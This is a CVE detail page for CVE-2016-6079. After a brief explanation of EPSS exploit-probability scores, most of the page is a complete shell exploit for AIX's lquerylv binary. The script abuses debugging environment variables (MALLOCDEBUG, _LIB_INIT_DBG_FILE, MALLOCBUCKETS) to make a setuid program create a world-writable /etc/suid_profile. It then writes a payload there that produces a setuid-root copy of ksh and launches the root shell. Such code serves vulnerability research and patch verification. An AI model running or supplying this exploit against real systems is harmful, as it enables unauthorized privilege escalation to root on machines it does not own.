CVE-2016-6079 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/sh # # AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04) # # This exploit takes advantage of known issues with debugging functions # within the AIX linker library. We are taking advantage of known # functionality, and focusing on badly coded SUID binaries which do not # adhere to proper security checks prior to seteuid/open/writes. # # The CVEs we will be taking advantage of: # - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows # local users to create or overwrite arbitrary files via a symlink attack on # the log file associated with the MALLOCDEBUG environment variable. # # - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does # not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE # environment variables, which allows local users to gain privileges by # leveraging a setuid-root program to create an arbitrary root-owned file # with world-writable permissions, related to libC.a (aka the XL C++ runtime # library) in AIX 5.3 and libc.a in AIX 6.1. # # - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary # File Writes In IBM AIX. # # In each instance of the aforementioned CVEs, IBM merely patched the binaries # which were reported in the original reports as being used for escalation of # the vulnerabilities. This allowed for the lquerylv binary to slip by their # patches and become an attack vector. # # Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/ # # lqueryroot.sh by @hxmonsegur [2016 //RSL] ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}') APP=$0 function usage { echo "Usage: $APP [1] | [2] | [3]" echo echo "1 - MALLOCDEBUG file write -> escalation" echo "2 - _LIB_INIT_DBG_FILE file write -> escalation" echo "3 - MALLOCBUCKETS file write -> escalation" echo echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL" exit } function CVE20091786 { echo "[*] Exporting MALLOCDEBUG environment variable" MALLOCTYPE=debug MALLOCDEBUG=report_allocations,output:/etc/suid_profile export MALLOCTYPE MALLOCDEBUG } function CVE20092669 { echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable" _LIB_INIT_DBG=1 _LIB_INIT_DBG_FILE=/etc/suid_profile export _LIB_INIT_DBG _LIB_INIT_DBG_FILE } function CVE20143074 { echo "[*] Exporting MALLOCBUCKETS environment variable" MALLOCOPTIONS=buckets MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile export MALLOCOPTIONS MALLOCBUCKETS } if [ -z "$1" ]; then usage exit 1 fi while [ "$1" != "" ]; do case $1 in 1 ) CVE20091786;; 2 ) CVE20092669;; 3 ) CVE20143074;; * ) usage break;; esac shift done if [ ! -x "/usr/sbin/lquerylv" ]; then echo "[-] lquerylv isn't executable. Tough luck." exit 1 fi echo "[*] Setting umask to 000" umask 000 echo "[*] Execute our vulnerable binary" /usr/sbin/lquerylv >/dev/null 2>&1 if [ ! -e "/etc/suid_profile" ]; then echo "[-] /etc/suid_profile does not exist and exploit failed." exit 1 fi echo "[*] Cleaning up /etc/suid_profile" echo > /etc/suid_profile echo "[*] Current id: `/usr/bin/id`" echo "[*] Adding payload" cat << EOF >/etc/suid_profile cp /bin/ksh $ROOTSHELL /usr/bin/syscall setreuid 0 0 chown root:system $ROOTSHELL chmod 6755 $ROOTSHELL rm /etc/suid_profile EOF echo "[*] Unsetting env" unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE echo "[*] Executing ibstat for fun and profit" /usr/bin/ibstat -a >/dev/null 2>&1 if [ ! -e "$ROOTSHELL" ]; then echo "[-] Rootshell does not exist and exploit failed." exit 1 fi echo "[*] Executing rootshell" $ROOTSHELL